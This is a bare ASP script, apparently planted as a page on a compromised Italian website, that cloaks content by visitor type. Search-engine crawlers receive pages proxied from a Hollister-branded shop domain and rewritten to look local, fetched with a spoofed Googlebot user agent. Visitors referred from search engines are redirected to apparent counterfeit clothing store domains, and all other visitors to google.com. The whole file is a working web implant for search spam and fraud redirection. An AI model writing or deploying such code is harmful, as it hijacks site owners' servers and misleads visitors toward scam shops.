<% dim s_agent, s_referer s_agent=Request.ServerVariables("HTTP_USER_AGENT") s_referer = Request.ServerVariables("HTTP_REFERER") CURRENTURL = GetLocationURL() if instr(1,s_agent,"googlebot",1) >0 OR instr(1,s_agent,"bingbot",1) >0 OR instr(1,s_agent,"slurp",1) >0 then elseIf instr(1,s_referer,"google",1) >0 OR instr(1,s_referer,"bing",1) OR instr(1,s_referer,"yahoo",1) >0 then If instr(1,CURRENTURL,"hollister",1) >0 then Response.Redirect "http://www.hollisteritaliame.com/" & "?referer=" & CURRENTURL else Response.Redirect "http://www.abercrombieit2014.com/" & "?referer=" & CURRENTURL end if Response.end else Response.Redirect "http://www.google.com/" Response.end end if %> <% Server.ScriptTimeout=9999 Response.Charset="UTF-8" REDIRECT_DOMAIN = "http://www.hollisternegozi.it/" REDIRECT_DOMAIN_SUB = REDIRECT_DOMAIN THIS_OWN_PAGE = "/casa.asp" PARAMETER = "?page=" LOCAL_MAIN_DOMAIN = Request.ServerVariables("SERVER_NAME") REDIRECT_MAIN_PATH = "http://" & LOCAL_MAIN_DOMAIN subpath = Request.QueryString("page") If IsEmpty(subpath) Then REDIRECT_DOMAIN_URL = REDIRECT_DOMAIN_SUB Else REDIRECT_DOMAIN_URL = REDIRECT_DOMAIN & subpath end if redirectContext = GetHttpPage(REDIRECT_DOMAIN_URL ,"UTF-8") redirectContext = replace(redirectContext, REDIRECT_DOMAIN, REDIRECT_MAIN_PATH & THIS_OWN_PAGE & "?page=") redirectContext = replace(redirectContext, "href=""""", " href=""" & REDIRECT_MAIN_PATH & THIS_OWN_PAGE & """") redirectContext = replace(redirectContext, "href=''", " href='" & REDIRECT_MAIN_PATH & THIS_OWN_PAGE & "'") redirectContext = replace(redirectContext, "href=""/""", " href=""" & REDIRECT_MAIN_PATH & THIS_OWN_PAGE & """") redirectContext = replace(redirectContext, "href='/'", " href='" & REDIRECT_MAIN_PATH & THIS_OWN_PAGE & "'") redirectContext = replace(redirectContext, "href=""/", " href=""" & REDIRECT_MAIN_PATH & THIS_OWN_PAGE & "?page=") redirectContext = replace(redirectContext, "href='/", " href='" & REDIRECT_MAIN_PATH & THIS_OWN_PAGE & "?page=") redirectContext = ReplaceReg(redirectContext, "href=""([^http|www|/]+)", "href=""" & REDIRECT_MAIN_PATH & THIS_OWN_PAGE & "?page=", 1) redirectContext = ReplaceReg(redirectContext, "href='([^http|www|/]+)", "href='" & REDIRECT_MAIN_PATH & THIS_OWN_PAGE & "?page=", 1) redirectContext = replace(redirectContext, "http://www.enpapadova.it", REDIRECT_MAIN_PATH & THIS_OWN_PAGE) redirectContext = replace(redirectContext, "http://enpapadova.it/", REDIRECT_MAIN_PATH & THIS_OWN_PAGE) redirectContext = replace(redirectContext, "http://enpapadova.it", REDIRECT_MAIN_PATH & THIS_OWN_PAGE) redirectContext = replace(redirectContext, "enpapadova.it", REDIRECT_MAIN_PATH) redirectContext = replace(redirectContext, "=./", "=") response.write(redirectContext) Function ReplaceReg(str, patrn, replStr, Ignor) Dim regEx If Ingor=1 Then Ingor=true else Ingor=false Set regEx = New RegExp regEx.Pattern = patrn regEx.IgnoreCase = Ignor regEx.Global=True ReplaceReg = regEx.Replace(str,replStr) End Function Function GetHttpPage(url, charset) Dim http Set http = Server.createobject("Msxml2.ServerXMLHTTP") http.Open "GET", url, false http.setRequestHeader "User-Agent","Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.htm)" http.Send() If http.readystate<>4 Then Exit Function End If GetHttpPage = BytesToStr(http.ResponseBody, charset) Set http = Nothing End Function Function BytesToStr(body, charset) Dim objStream Set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode = 3 objStream.Open objStream.Write body objStream.Position = 0 objStream.Type = 2 objStream.Charset = charset BytesToStr = objStream.ReadText objStream.Close Set objStream = Nothing End Function Function GetLocationURL() Dim Url Dim ServerPort,ServerName,ScriptName,QueryString ServerName = Request.ServerVariables("SERVER_NAME") ServerPort = Request.ServerVariables("SERVER_PORT") ScriptName = Request.ServerVariables("SCRIPT_NAME") QueryString = Request.ServerVariables("QUERY_STRING") if instr(ServerName,"www.")>0 then ServerName="http://"&ServerName if instr(ServerName,"www.")=0 then ServerName="http://www."&ServerName Url=ServerName If ServerPort <> "80" Then Url = Url & ":" & ServerPort Url=Url&ScriptName If QueryString <>"" Then Url=Url&"?"& QueryString GetLocationURL=Url End Function %>